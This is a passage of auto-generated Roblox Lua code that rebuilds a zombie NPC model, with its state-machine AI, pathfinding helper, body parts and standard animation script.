OutsideRange.TransitionState = PursueState
table.insert(IdleState.Conditions, CanSeeTarget)
table.insert(IdleState.Conditions, GotDamaged)
table.insert(IdleState.Conditions, GotBored)
table.insert(SearchState.Conditions, GotBored)
table.insert(SearchState.Conditions, CanSeeTarget)
table.insert(PursueState.Conditions, LostTarget)
table.insert(PursueState.Conditions, WithinRange)
table.insert(PursueState.Conditions, TargetDead)
table.insert(AttackState.Conditions, OutsideRange)
table.insert(AttackState.Conditions, TargetDead)
table.insert(HuntState.Conditions, GotBored)
table.insert(HuntState.Conditions, CanSeeTarget)
-- Setup arms damage
local canHit = true
local lastHit = os.time()
local function handleHit(other)
if canHit then
if other and other.Parent and other.Parent.Name ~= "Drooling Zombie" and other.Parent:FindFirstChild("Humanoid") then
local enemy = other.Parent
if enemy.Humanoid.WalkSpeed > 0 then
enemy.Humanoid.Health = enemy.Humanoid.Health - configs["Damage"]
canHit = false
end
end
else
local now = os.time()
if now - lastHit > configs["DamageCooldown"] then
lastHit = now
canHit = true
end
end
end
local leftHitConnect, rightHitConnect
leftHitConnect = model:FindFirstChild("Left Arm").Touched:connect(handleHit)
rightHitConnect = model:FindFirstChild("Right Arm").Touched:connect(handleHit)
--ZombieAI.Animate(model)
--updateDisplay()
--updateDisplay(model.BillboardGui.TextLabel, StateMachine.CurrentState)
local thread = coroutine.create(function()
while true do
wait()
-- calculate repulsion force
local humanoids = HumanoidList:GetCurrent()
local localZombies = {}
for _, humanoid in pairs(humanoids) do
if humanoid and humanoid ~= model.Humanoid and humanoid.Parent and humanoid.Parent:FindFirstChild("HumanoidRootPart") then
local torso = humanoid.Parent:FindFirstChild("HumanoidRootPart")
local distance = (model.HumanoidRootPart.Position - torso.Position).magnitude
if distance <= 2.5 then
table.insert(localZombies, torso.Position)
end
end
end
local repulsionDirection = AIUtilities:GetRepulsionVector(model.HumanoidRootPart.Position, localZombies)
if repulsionDirection.magnitude > 0 then
--print("replusion direction: " .. tostring(repulsionDirection))
end
model.HumanoidRootPart.RepulsionForce.force = repulsionDirection
if StateMachine.CurrentState and model.Configurations.Debug.Value then
model.BillboardGui.TextLabel.Visible = true
model.BillboardGui.TextLabel.Text = StateMachine.CurrentState.Name
end
if not model.Configurations.Debug.Value then
model.BillboardGui.TextLabel.Visible = false
end
end
end)
coroutine.resume(thread)
StateMachine.SwitchState(IdleState)
zombie.Stop = function()
StateMachine.SwitchState(nil)
end
return zombie
end
return ZombieAI
end))
ModuleScript169.Name = "ROBLOX_PathfindingLibrary"
ModuleScript169.Parent = Configuration163
table.insert(cors,sandbox(ModuleScript169,function()
local PathfindingUtility = {}
local TargetOffsetMax = 10--5
local JumpThreshold = 1.5 --2.5
local NextPointThreshold = 4
local PathfindingService = game:GetService("PathfindingService")
PathfindingService.EmptyCutoff = .3
function PathfindingUtility.new()
local this = {}
local currentTargetPos = nil
local lastTargetPos = Vector3.new(math.huge, math.huge, math.huge)
local path = nil
local currentPointIndex = 1
function this:MoveToTarget(character, target)
local targetOffset = (lastTargetPos - target).magnitude
--
-- local targetOffsetVector = (lastTargetPos - target)
-- if targetOffsetVector.magnitude < math.huge then
-- targetOffsetVector = (lastTargetPos - target) * Vector3.new(1,0,1)
-- end
if targetOffset > TargetOffsetMax then
--if targetOffsetVector.magnitude > TargetOffsetMax then
--print("moveto")
local startPoint = character.HumanoidRootPart.Position
local humanoidState = character.Humanoid:GetState()
if humanoidState == Enum.HumanoidStateType.Jumping or humanoidState == Enum.HumanoidStateType.Freefall then
--print("this")
local ray = Ray.new(character.HumanoidRootPart.Position, Vector3.new(0, -100, 0))
local hitPart, hitPoint = game.Workspace:FindPartOnRay(ray, character)
if hitPart then
startPoint = hitPoint
end
end
--print("making new path")
local newTarget = target
local ray = Ray.new(target + Vector3.new(0,-3,0), Vector3.new(0, -100, 0))
local hitPart, hitPoint = game.Workspace:FindPartOnRay(ray, character)
if hitPoint then
if (hitPoint - target).magnitude > 4 then
newTarget = newTarget * Vector3.new(1,0,1) + Vector3.new(0,3,0)
end
end
--local newTarget = Vector3.new(1,0,1) * target + Vector3.new(0, 2, 0)
path = PathfindingService:ComputeSmoothPathAsync(startPoint, newTarget, 500)
if path.Status ~= Enum.PathStatus.Success then
--print(tostring(path.Status))
end
--path = PathfindingService:ComputeRawPathAsync(startPoint, target, 500)
-- game.Workspace.Points:ClearAllChildren()
-- local ps = path:GetPointCoordinates()
-- for _, point in pairs(ps) do
-- local part = Instance.new("Part", game.Workspace.Points)
-- part.CanCollide = false
-- part.Anchored = true
-- part.FormFactor = Enum.FormFactor.Custom
-- part.Size = Vector3.new(1,1,1)
-- part.Position = point
-- end
currentPointIndex = 1
lastTargetPos = target
end
if path then
local points = path:GetPointCoordinates()
if currentPointIndex < #points then
local currentPoint = points[currentPointIndex]
local distance = (character.HumanoidRootPart.Position - currentPoint).magnitude
if distance < NextPointThreshold then
currentPointIndex = currentPointIndex + 1
end
character.Humanoid:MoveTo(points[currentPointIndex])
if points[currentPointIndex].Y - character.HumanoidRootPart.Position.Y > JumpThreshold then
character.Humanoid.Jump = true
end
else
character.Humanoid:MoveTo(target)
end
end
end
return this
end
return PathfindingUtility
end))
Configuration170.Name = "Configurations"
Configuration170.Parent = Model124
IntValue171.Name = "Damage"
IntValue171.Parent = Configuration170
IntValue171.Value = 30
BoolValue172.Name = "Debug"
BoolValue172.Parent = Configuration170
IntValue173.Name = "FieldOfView"
IntValue173.Parent = Configuration170
IntValue173.Value = 180
IntValue174.Name = "AggroRange"
IntValue174.Parent = Configuration170
IntValue174.Value = 200
Configuration175.Name = "Animations"
Configuration175.Parent = Model124
Animation176.Name = "Attack"
Animation176.Parent = Configuration175
Animation176.AnimationId = "http://www.roblox.com/asset/?id=180416148"
Animation177.Name = "Arms"
Animation177.Parent = Configuration175
Animation177.AnimationId = "http://www.roblox.com/asset/?id=183294396"
CharacterMesh178.Name = "Zombie Left Arm"
CharacterMesh178.Parent = Model124
CharacterMesh178.BodyPart = Enum.BodyPart.LeftArm
CharacterMesh178.MeshId = 37683097
CharacterMesh178.OverlayTextureId = 37686282
CharacterMesh179.Name = "Zombie Left Leg"
CharacterMesh179.Parent = Model124
CharacterMesh179.BodyPart = Enum.BodyPart.LeftLeg
CharacterMesh179.MeshId = 37683150
CharacterMesh179.OverlayTextureId = 37687646
CharacterMesh180.Name = "Zombie Right Arm"
CharacterMesh180.Parent = Model124
CharacterMesh180.BodyPart = Enum.BodyPart.RightArm
CharacterMesh180.MeshId = 37683174
CharacterMesh180.OverlayTextureId = 37686282
CharacterMesh181.Name = "Zombie Right Leg"
CharacterMesh181.Parent = Model124
CharacterMesh181.BodyPart = Enum.BodyPart.RightLeg
CharacterMesh181.MeshId = 37683227
CharacterMesh181.OverlayTextureId = 37687646
CharacterMesh182.Name = "Zombie torso"
CharacterMesh182.Parent = Model124
CharacterMesh182.BodyPart = Enum.BodyPart.Torso
CharacterMesh182.MeshId = 37683263
CharacterMesh182.OverlayTextureId = 37686282
Sound183.Name = "Moan"
Sound183.Parent = Model124
Sound183.Pitch = 0.15000000596046
Sound183.PlaybackSpeed = 0.15000000596046
Sound183.Volume = 0.050000000745058
BodyColors184.Parent = Model124
BodyColors184.HeadColor = BrickColor.new("Camo")
BodyColors184.HeadColor3 = Color3.new(0.227451, 0.490196, 0.0823529)
BodyColors184.LeftArmColor = BrickColor.new("Earth green")
BodyColors184.LeftArmColor3 = Color3.new(0.152941, 0.27451, 0.176471)
BodyColors184.LeftLegColor = BrickColor.new("Earth green")
BodyColors184.LeftLegColor3 = Color3.new(0.152941, 0.27451, 0.176471)
BodyColors184.RightArmColor = BrickColor.new("Earth green")
BodyColors184.RightArmColor3 = Color3.new(0.152941, 0.27451, 0.176471)
BodyColors184.RightLegColor = BrickColor.new("Earth green")
BodyColors184.RightLegColor3 = Color3.new(0.152941, 0.27451, 0.176471)
BodyColors184.TorsoColor = BrickColor.new("Earth green")
BodyColors184.TorsoColor3 = Color3.new(0.152941, 0.27451, 0.176471)
Model185.Name = "Drooling Zombie"
Model185.Parent = Model1
Part186.Name = "HumanoidRootPart"
Part186.Parent = Model185
Part186.CFrame = CFrame.new(152.5, 2.99998856, -83, 0, 0, -1, 5.77777606e-34, 0.999996424, 0, 1, 5.77777606e-34, 0)
Part186.Orientation = Vector3.new(0, -90, 0)
Part186.Position = Vector3.new(152.5, 2.99998856, -83)
Part186.Rotation = Vector3.new(0, -90, 0)
Part186.Color = Color3.new(0.152941, 0.27451, 0.176471)
Part186.Transparency = 1
Part186.Size = Vector3.new(2, 2, 1)
Part186.BottomSurface = Enum.SurfaceType.Smooth
Part186.BrickColor = BrickColor.new("Earth green")
Part186.Material = Enum.Material.WoodPlanks
Part186.TopSurface = Enum.SurfaceType.Smooth
Part186.brickColor = BrickColor.new("Earth green")
Part186.FormFactor = Enum.FormFactor.Symmetric
Part186.formFactor = Enum.FormFactor.Symmetric
Motor6D187.Name = "Root Hip"
Motor6D187.Parent = Part186
Motor6D187.MaxVelocity = 0.10000000149012
Motor6D187.C0 = CFrame.new(0, 0, 0, -1, 0, 0, 0, 0, 1, 0, 1, -0)
Motor6D187.C1 = CFrame.new(0, 0, 0, -1, 0, 0, 0, 0, 1, 0, 1, -0)
Motor6D187.Part0 = Part186
Motor6D187.Part1 = Part189
Motor6D187.part1 = Part189
BodyForce188.Name = "RepulsionForce"
BodyForce188.Parent = Part186
BodyForce188.Force = Vector3.new(0, 0, 0)
BodyForce188.force = Vector3.new(0, 0, 0)
Part189.Name = "Torso"
Part189.Parent = Model185
Part189.CFrame = CFrame.new(152.5, 2.99998856, -83, 0, 0, -1, 5.77777606e-34, 0.999996424, 0, 1, 5.77777606e-34, 0)
Part189.Orientation = Vector3.new(0, -90, 0)
Part189.Position = Vector3.new(152.5, 2.99998856, -83)
Part189.Rotation = Vector3.new(0, -90, 0)
Part189.Color = Color3.new(0.156863, 0.498039, 0.278431)
Part189.Size = Vector3.new(2, 2, 1)
Part189.BottomSurface = Enum.SurfaceType.Smooth
Part189.BrickColor = BrickColor.new("Dark green")
Part189.Material = Enum.Material.WoodPlanks
Part189.TopSurface = Enum.SurfaceType.Smooth
Part189.brickColor = BrickColor.new("Dark green")
Part189.FormFactor = Enum.FormFactor.Symmetric
Part189.formFactor = Enum.FormFactor.Symmetric
Motor6D190.Name = "Left Hip"
Motor6D190.Parent = Part189
Motor6D190.MaxVelocity = 0.10000000149012
Motor6D190.C0 = CFrame.new(-1, -1, 0, -4.37113883e-08, 0, -1, 0, 0.99999994, 0, 1, 0, -4.37113883e-08)
Motor6D190.C1 = CFrame.new(-0.5, 1, 0, -4.37113883e-08, 0, -1, 0, 0.99999994, 0, 1, 0, -4.37113883e-08)
Motor6D190.Part0 = Part189
Motor6D190.Part1 = Part195
Motor6D190.part1 = Part195
Motor6D191.Name = "Right Hip"
Motor6D191.Parent = Part189
Motor6D191.MaxVelocity = 0.10000000149012
Motor6D191.C0 = CFrame.new(1, -1, 0, -4.37113883e-08, 0, 1, -0, 0.99999994, 0, -1, 0, -4.37113883e-08)
Motor6D191.C1 = CFrame.new(0.5, 1, 0, -4.37113883e-08, 0, 1, 0, 0.99999994, 0, -1, 0, -4.37113883e-08)
Motor6D191.Part0 = Part189
Motor6D191.Part1 = Part196
Motor6D191.part1 = Part196
Motor6D192.Name = "Left Shoulder"
Motor6D192.Parent = Part189
Motor6D192.MaxVelocity = 0.10000000149012
Motor6D192.C0 = CFrame.new(-1, 0.5, 0, -4.37113883e-08, 0, -1, 0, 0.99999994, 0, 1, 0, -4.37113883e-08)
Motor6D192.C1 = CFrame.new(0.5, 0.5, 0, -4.37113883e-08, 0, -1, 0, 0.99999994, 0, 1, 0, -4.37113883e-08)
Motor6D192.Part0 = Part189
Motor6D192.Part1 = Part197
Motor6D192.part1 = Part197
Motor6D193.Name = "Right Shoulder"
Motor6D193.Parent = Part189
Motor6D193.MaxVelocity = 0.10000000149012
Motor6D193.C0 = CFrame.new(1, 0.5, 0, -4.37113883e-08, 0, 1, -0, 0.99999994, 0, -1, 0, -4.37113883e-08)
Motor6D193.C1 = CFrame.new(-0.5, 0.5, 0, -4.37113883e-08, 0, 1, 0, 0.99999994, 0, -1, 0, -4.37113883e-08)
Motor6D193.Part0 = Part189
Motor6D193.Part1 = Part198
Motor6D193.part1 = Part198
Motor6D194.Name = "Neck"
Motor6D194.Parent = Part189
Motor6D194.MaxVelocity = 0.10000000149012
Motor6D194.C0 = CFrame.new(0, 1, 0, -1, 0, 0, 0, 0, 1, 0, 1, -0)
Motor6D194.C1 = CFrame.new(0, -0.5, 0, -1, 0, 0, 0, 0, 1, 0, 1, -0)
Motor6D194.Part0 = Part189
Motor6D194.Part1 = Part199
Motor6D194.part1 = Part199
Part195.Name = "Left Leg"
Part195.Parent = Model185
Part195.CFrame = CFrame.new(152.5, 0.999995828, -83.5, 0, 0, -1, 5.77777606e-34, 0.999996305, 0, 1, 5.7777756e-34, 0)
Part195.Orientation = Vector3.new(0, -90, 0)
Part195.Position = Vector3.new(152.5, 0.999995828, -83.5)
Part195.Rotation = Vector3.new(0, -90, 0)
Part195.Color = Color3.new(0.0509804, 0.411765, 0.67451)
Part195.Size = Vector3.new(1, 2, 1)
Part195.BottomSurface = Enum.SurfaceType.Smooth
Part195.BrickColor = BrickColor.new("Bright blue")
Part195.CanCollide = false
Part195.Material = Enum.Material.WoodPlanks
Part195.TopSurface = Enum.SurfaceType.Smooth
Part195.brickColor = BrickColor.new("Bright blue")
Part195.FormFactor = Enum.FormFactor.Symmetric
Part195.formFactor = Enum.FormFactor.Symmetric
Part196.Name = "Right Leg"
Part196.Parent = Model185
Part196.CFrame = CFrame.new(152.5, 0.999995828, -82.5, 0, 0, -1, 5.77777606e-34, 0.999996305, 0, 1, 5.7777756e-34, 0)
Part196.Orientation = Vector3.new(0, -90, 0)
Part196.Position = Vector3.new(152.5, 0.999995828, -82.5)
Part196.Rotation = Vector3.new(0, -90, 0)
Part196.Color = Color3.new(0.0509804, 0.411765, 0.67451)
Part196.Size = Vector3.new(1, 2, 1)
Part196.BottomSurface = Enum.SurfaceType.Smooth
Part196.BrickColor = BrickColor.new("Bright blue")
Part196.CanCollide = false
Part196.Material = Enum.Material.WoodPlanks
Part196.TopSurface = Enum.SurfaceType.Smooth
Part196.brickColor = BrickColor.new("Bright blue")
Part196.FormFactor = Enum.FormFactor.Symmetric
Part196.formFactor = Enum.FormFactor.Symmetric
Part197.Name = "Left Arm"
Part197.Parent = Model185
Part197.CFrame = CFrame.new(152.5, 2.99998856, -84.5, 0, 0, -1, 5.77777606e-34, 0.999996305, 0, 1, 5.7777756e-34, 0)
Part197.Orientation = Vector3.new(0, -90, 0)
Part197.Position = Vector3.new(152.5, 2.99998856, -84.5)
Part197.Rotation = Vector3.new(0, -90, 0)
Part197.Color = Color3.new(0.992157, 0.917647, 0.552941)
Part197.Size = Vector3.new(1, 2, 1)
Part197.BottomSurface = Enum.SurfaceType.Smooth
Part197.BrickColor = BrickColor.new("Cool yellow")
Part197.CanCollide = false
Part197.Material = Enum.Material.WoodPlanks
Part197.TopSurface = Enum.SurfaceType.Smooth
Part197.brickColor = BrickColor.new("Cool yellow")
Part197.FormFactor = Enum.FormFactor.Symmetric
Part197.formFactor = Enum.FormFactor.Symmetric
Part198.Name = "Right Arm"
Part198.Parent = Model185
Part198.CFrame = CFrame.new(152.5, 2.99998856, -81.5, 0, 0, -1, 5.77777606e-34, 0.999996305, 0, 1, 5.7777756e-34, 0)
Part198.Orientation = Vector3.new(0, -90, 0)
Part198.Position = Vector3.new(152.5, 2.99998856, -81.5)
Part198.Rotation = Vector3.new(0, -90, 0)
Part198.Color = Color3.new(0.992157, 0.917647, 0.552941)
Part198.Size = Vector3.new(1, 2, 1)
Part198.BottomSurface = Enum.SurfaceType.Smooth
Part198.BrickColor = BrickColor.new("Cool yellow")
Part198.CanCollide = false
Part198.Material = Enum.Material.WoodPlanks
Part198.TopSurface = Enum.SurfaceType.Smooth
Part198.brickColor = BrickColor.new("Cool yellow")
Part198.FormFactor = Enum.FormFactor.Symmetric
Part198.formFactor = Enum.FormFactor.Symmetric
Part199.Name = "Head"
Part199.Parent = Model185
Part199.CFrame = CFrame.new(152.5, 4.49998331, -83, 0, 0, -1, 5.77777606e-34, 0.999996424, 0, 1, 5.77777606e-34, 0)
Part199.Orientation = Vector3.new(0, -90, 0)
Part199.Position = Vector3.new(152.5, 4.49998331, -83)
Part199.Rotation = Vector3.new(0, -90, 0)
Part199.Color = Color3.new(0.992157, 0.917647, 0.552941)
Part199.Size = Vector3.new(2, 1, 1)
Part199.BottomSurface = Enum.SurfaceType.Smooth
Part199.BrickColor = BrickColor.new("Cool yellow")
Part199.Material = Enum.Material.WoodPlanks
Part199.TopSurface = Enum.SurfaceType.Smooth
Part199.brickColor = BrickColor.new("Cool yellow")
Part199.FormFactor = Enum.FormFactor.Symmetric
Part199.formFactor = Enum.FormFactor.Symmetric
Decal200.Name = "Face"
Decal200.Parent = Part199
Decal200.Texture = "http://www.roblox.com/asset/?id=7074882"
SpecialMesh201.Parent = Part199
SpecialMesh201.Scale = Vector3.new(1.25, 1.25, 1.25)
Humanoid202.Parent = Model185
Humanoid202.LeftLeg = Part195
Humanoid202.RightLeg = Part196
Humanoid202.Torso = Part186
Humanoid202.WalkSpeed = 10
Script203.Name = "Animate"
Script203.Parent = Model185
table.insert(cors,sandbox(Script203,function()
function waitForChild(parent, childName)
local child = parent:findFirstChild(childName)
if child then return child end
while true do
child = parent.ChildAdded:wait()
if child.Name==childName then return child end
end
end
local Figure = script.Parent
local Torso = waitForChild(Figure, "Torso")
local RightShoulder = waitForChild(Torso, "Right Shoulder")
local LeftShoulder = waitForChild(Torso, "Left Shoulder")
local RightHip = waitForChild(Torso, "Right Hip")
local LeftHip = waitForChild(Torso, "Left Hip")
local Neck = waitForChild(Torso, "Neck")
local Humanoid = waitForChild(Figure, "Humanoid")
local pose = "Standing"
local currentAnim = ""
local currentAnimTrack = nil
local currentAnimKeyframeHandler = nil
local currentAnimSpeed = 1.0
local animTable = {}
local animNames = {
idle = {
{ id = "http://www.roblox.com/asset/?id=125750544", weight = 9 },
{ id = "http://www.roblox.com/asset/?id=125750618", weight = 1 }
},
walk = {
{ id = "http://www.roblox.com/asset/?id=125749145", weight = 10 }
},
run = {
{ id = "run.xml", weight = 10 }
},
jump = {
{ id = "http://www.roblox.com/asset/?id=125750702", weight = 10 }
},
fall = {
{ id = "http://www.roblox.com/asset/?id=125750759", weight = 10 }
},
climb = {
{ id = "http://www.roblox.com/asset/?id=125750800", weight = 10 }
},
toolnone = {
{ id = "http://www.roblox.com/asset/?id=125750867", weight = 10 }
},
toolslash = {
{ id = "http://www.roblox.com/asset/?id=129967390", weight = 10 }
-- { id = "slash.xml", weight = 10 }
},
toollunge = {
{ id = "http://www.roblox.com/asset/?id=129967478", weight = 10 }
},
wave = {
{ id = "http://www.roblox.com/asset/?id=128777973", weight = 10 }
},
point = {
{ id = "http://www.roblox.com/asset/?id=128853357", weight = 10 }
},
dance = {
{ id = "http://www.roblox.com/asset/?id=130018893", weight = 10 },
{ id = "http://www.roblox.com/asset/?id=132546839", weight = 10 },
{ id = "http://www.roblox.com/asset/?id=132546884", weight = 10 }
},
dance2 = {
{ id = "http://www.roblox.com/asset/?id=160934142", weight = 10 },
{ id = "http://www.roblox.com/asset/?id=160934298", weight = 10 },
{ id = "http://www.roblox.com/asset/?id=160934376", weight = 10 }
},
dance3 = {
{ id = "http://www.roblox.com/asset/?id=160934458", weight = 10 },
{ id = "http://www.roblox.com/asset/?id=160934530", weight = 10 },
{ id = "http://www.roblox.com/asset/?id=160934593", weight = 10 }
},
laugh = {
{ id = "http://www.roblox.com/asset/?id=129423131", weight = 10 }
},
cheer = {
{ id = "http://www.roblox.com/asset/?id=129423030", weight = 10 }
},
}
-- Existance in this list signifies that it is an emote, the value indicates if it is a looping emote
local emoteNames = { wave = false, point = false, dance = true, dance2 = true, dance3 = true, laugh = false, cheer = false}
math.randomseed(tick())
function configureAnimationSet(name, fileList)
if (animTable[name] ~= nil) then
for _, connection in pairs(animTable[name].connections) do
connection:disconnect()
end
end
animTable[name] = {}
animTable[name].count = 0
animTable[name].totalWeight = 0
animTable[name].connections = {}
-- check for config values
local config = script:FindFirstChild(name)
if (config ~= nil) then
-- print("Loading anims " .. name)
table.insert(animTable[name].connections, config.ChildAdded:connect(function(child) configureAnimationSet(name, fileList) end))
table.insert(animTable[name].connections, config.ChildRemoved:connect(function(child) configureAnimationSet(name, fileList) end))
local idx = 1
for _, childPart in pairs(config:GetChildren()) do
if (childPart:IsA("Animation")) then
table.insert(animTable[name].connections, childPart.Changed:connect(function(property) configureAnimationSet(name, fileList) end))
animTable[name][idx] = {}
animTable[name][idx].anim = childPart
local weightObject = childPart:FindFirstChild("Weight")
if (weightObject == nil) then
animTable[name][idx].weight = 1
else
animTable[name][idx].weight = weightObject.Value
end
animTable[name].count = animTable[name].count + 1
animTable[name].totalWeight = animTable[name].totalWeight + animTable[name][idx].weight
-- print(name .. " [" .. idx .. "] " .. animTable[name][idx].anim.AnimationId .. " (" .. animTable[name][idx].weight .. ")")
idx = idx + 1
end
end
end
-- fallback to defaults
if (animTable[name].count <= 0) then
for idx, anim in pairs(fileList) do
animTable[name][idx] = {}
animTable[name][idx].anim = Instance.new("Animation")
animTable[name][idx].anim.Name = name
animTable[name][idx].anim.AnimationId = anim.id
animTable[name][idx].weight = anim.weight
animTable[name].count = animTable[name].count + 1
animTable[name].totalWeight = animTable[name].totalWeight + anim.weight
-- print(name .. " [" .. idx .. "] " .. anim.id .. " (" .. anim.weight .. ")")
end
end
end
-- Setup animation objects
function scriptChildModified(child)
local fileList = animNames[child.Name]
if (fileList ~= nil) then
configureAnimationSet(child.Name, fileList)
end
end
script.ChildAdded:connect(scriptChildModified)
script.ChildRemoved:connect(scriptChildModified)
for name, fileList in pairs(animNames) do
configureAnimationSet(name, fileList)
end
-- ANIMATION
-- declarations
local toolAnim = "None"
local toolAnimTime = 0
local jumpAnimTime = 0
local jumpAnimDuration = 0.3
local toolTransitionTime = 0.1
local fallTransitionTime = 0.3
local jumpMaxLimbVelocity = 0.75
-- functions
function stopAllAnimations()
local oldAnim = currentAnim
-- return to idle if finishing an emote
if (emoteNames[oldAnim] ~= nil and emoteNames[oldAnim] == false) then
oldAnim = "idle"
end
currentAnim = ""
if (currentAnimKeyframeHandler ~= nil) then
currentAnimKeyframeHandler:disconnect()
end
if (currentAnimTrack ~= nil) then
currentAnimTrack:Stop()
currentAnimTrack:Destroy()
currentAnimTrack = nil
end
return oldAnim
end
function setAnimationSpeed(speed)
if speed ~= currentAnimSpeed then
currentAnimSpeed = speed
currentAnimTrack:AdjustSpeed(currentAnimSpeed)
end
end
function keyFrameReachedFunc(frameName)
if (frameName == "End") then
-- print("Keyframe : ".. frameName)
local repeatAnim = stopAllAnimations()
local animSpeed = currentAnimSpeed
playAnimation(repeatAnim, 0.0, Humanoid)
setAnimationSpeed(animSpeed)
end
end
-- Preload animations
function playAnimation(animName, transitionTime, humanoid)
local idleFromEmote = (animName == "idle" and emoteNames[currentAnim] ~= nil)
if (animName ~= currentAnim and not idleFromEmote) then
if (currentAnimTrack ~= nil) then
currentAnimTrack:Stop(transitionTime)
currentAnimTrack:Destroy()
end
currentAnimSpeed = 1.0
local roll = math.random(1, animTable[animName].totalWeight)
local origRoll = roll
local idx = 1
while (roll > animTable[animName][idx].weight) do
roll = roll - animTable[animName][idx].weight
idx = idx + 1
end
-- print(animName .. " " .. idx .. " [" .. origRoll .. "]")
local anim = animTable[animName][idx].anim
-- load it to the humanoid; get AnimationTrack
currentAnimTrack = humanoid:LoadAnimation(anim)
-- play the animation
currentAnimTrack:Play(transitionTime)
currentAnim = animName
-- set up keyframe name triggers
if (currentAnimKeyframeHandler ~= nil) then
currentAnimKeyframeHandler:disconnect()
end
currentAnimKeyframeHandler = currentAnimTrack.KeyframeReached:connect(keyFrameReachedFunc)
end
end
-------------------------------------------------------------------------------------------
-------------------------------------------------------------------------------------------
local toolAnimName = ""
local toolAnimTrack = nil
local currentToolAnimKeyframeHandler = nil
function toolKeyFrameReachedFunc(frameName)
if (frameName == "End") then
-- print("Keyframe : ".. frameName)
local repeatAnim = stopToolAnimations()
playToolAnimation(repeatAnim, 0.0, Humanoid)
end
end
function playToolAnimation(animName, transitionTime, humanoid)
if (animName ~= toolAnimName) then
if (toolAnimTrack ~= nil) then
toolAnimTrack:Stop()
toolAnimTrack:Destroy()
transitionTime = 0
end
local roll = math.random(1, animTable[animName].totalWeight)
local origRoll = roll
local idx = 1
while (roll > animTable[animName][idx].weight) do
roll = roll - animTable[animName][idx].weight
idx = idx + 1
end
-- print(animName .. " * " .. idx .. " [" .. origRoll .. "]")
local anim = animTable[animName][idx].anim
-- load it to the humanoid; get AnimationTrack
toolAnimTrack = humanoid:LoadAnimation(anim)
-- play the animation
toolAnimTrack:Play(transitionTime)
toolAnimName = animName
currentToolAnimKeyframeHandler = toolAnimTrack.KeyframeReached:connect(toolKeyFrameReachedFunc)
end
end
function stopToolAnimations()
local oldAnim = toolAnimName
if (currentToolAnimKeyframeHandler ~= nil) then
currentToolAnimKeyframeHandler:disconnect()
end
toolAnimName = ""
if (toolAnimTrack ~= nil) then
toolAnimTrack:Stop()
toolAnimTrack:Destroy()
toolAnimTrack = nil
end
return oldAnim
end
-------------------------------------------------------------------------------------------
-------------------------------------------------------------------------------------------
function onRunning(speed)
if speed>0.01 then
playAnimation("walk", 0.1, Humanoid)
pose = "Running"
else
playAnimation("idle", 0.1, Humanoid)
pose = "Standing"
end
end
function onDied()
pose = "Dead"
end
function onJumping()
playAnimation("jump", 0.1, Humanoid)
jumpAnimTime = jumpAnimDuration
pose = "Jumping"
end
function onClimbing(speed)
playAnimation("climb", 0.1, Humanoid)
setAnimationSpeed(speed / 12.0)
pose = "Climbing"
end
function onGettingUp()
pose = "GettingUp"
end
function onFreeFall()
if (jumpAnimTime <= 0) then
playAnimation("fall", fallTransitionTime, Humanoid)
end
pose = "FreeFall"
end
function onFallingDown()
pose = "FallingDown"
end
function onSeated()
pose = "Seated"
end
function onPlatformStanding()
pose = "PlatformStanding"
end
function onSwimming(speed)
if speed>0 then
pose = "Running"
else
pose = "Standing"
end
end
function getTool()
for _, kid in ipairs(Figure:GetChildren()) do
if kid.className == "Tool" then return kid end
end
return nil
end
function getToolAnim(tool)
for _, c in ipairs(tool:GetChildren()) do
if c.Name == "toolanim" and c.className == "StringValue" then
return c
end
end
return nil
end
function animateTool()
if (toolAnim == "None") then
playToolAnimation("toolnone", toolTransitionTime, Humanoid)
return
end
if (toolAnim == "Slash") then
playToolAnimation("toolslash", 0, Humanoid)
return
end
if (toolAnim == "Lunge") then
playToolAnimation("toollunge", 0, Humanoid)
return
end
end
function moveSit()
RightShoulder.MaxVelocity = 0.15
LeftShoulder.MaxVelocity = 0.15
RightShoulder:SetDesiredAngle(3.14 /2)
LeftShoulder:SetDesiredAngle(-3.14 /2)
RightHip:SetDesiredAngle(3.14 /2)
LeftHip:SetDesiredAngle(-3.14 /2)
end
local lastTick = 0
function move(time)
local amplitude = 1
local frequency = 1
local deltaTime = time - lastTick
lastTick = time
local climbFudge = 0
local setAngles = false
if (jumpAnimTime > 0) then
jumpAnimTime = jumpAnimTime - deltaTime
end
if (pose == "FreeFall" and jumpAnimTime <= 0) then
playAnimation("fall", fallTransitionTime, Humanoid)
elseif (pose == "Seated") then
stopAllAnimations()
moveSit()
return
elseif (pose == "Running") then
playAnimation("walk", 0.1, Humanoid)
elseif (pose == "Dead" or pose == "GettingUp" or pose == "FallingDown" or pose == "Seated" or pose == "PlatformStanding") then
-- print("Wha " .. pose)
amplitude = 0.1
frequency = 1
setAngles = true
end
if (setAngles) then
desiredAngle = amplitude * math.sin(time * frequency)
RightShoulder:SetDesiredAngle(desiredAngle + climbFudge)
LeftShoulder:SetDesiredAngle(desiredAngle - climbFudge)
RightHip:SetDesiredAngle(-desiredAngle)
LeftHip:SetDesiredAngle(-desiredAngle)
end
-- Tool Animation handling
local tool = getTool()
if tool then
animStringValueObject = getToolAnim(tool)
if animStringValueObject then
toolAnim = animStringValueObject.Value
-- message recieved, delete StringValue
animStringValueObject.Parent = nil
toolAnimTime = time + .3
end
if time > toolAnimTime then
toolAnimTime = 0
toolAnim = "None"
end
animateTool()
else
stopToolAnimations()
toolAnim = "None"
toolAnimTime = 0
end
end
-- connect events
Humanoid.Died:connect(onDied)
Humanoid.Running:connect(onRunning)
Humanoid.Jumping:connect(onJumping)
Humanoid.Climbing:connect(onClimbing)
Humanoid.GettingUp:connect(onGettingUp)
Humanoid.FreeFalling:connect(onFreeFall)
Humanoid.FallingDown:connect(onFallingDown)
Humanoid.Seated:connect(onSeated)
Humanoid.PlatformStanding:connect(onPlatformStanding)
Humanoid.Swimming:connect(onSwimming)
-- main program
local runService = game:service("RunService");
-- initialize to idle
playAnimation("idle", 0.1, Humanoid)
pose = "Standing"
while Figure.Parent~=nil do
local _, time = wait(0.1)
move(time)
end
end))
StringValue204.Name = "climb"
StringValue204.Parent = Script203
Animation205.Name = "ClimbAnim"
Animation205.Parent = StringValue204
Animation205.AnimationId = "http://www.roblox.com/asset/?id=125750800"
StringValue206.Name = "fall"
StringValue206.Parent = Script203
Animation207.Name = "FallAnim"
Animation207.Parent = StringValue206
Animation207.AnimationId = "http://www.roblox.com/asset/?id=125750759"
StringValue208.Name = "idle"
StringValue208.Parent = Script203
Animation209.Name = "Animation1"
Animation209.Parent = StringValue208
Animation209.AnimationId = "http://www.roblox.com/asset/?id=125750544"
NumberValue210.Name = "Weight"
NumberValue210.Parent = Animation209
NumberValue210.Value = 9
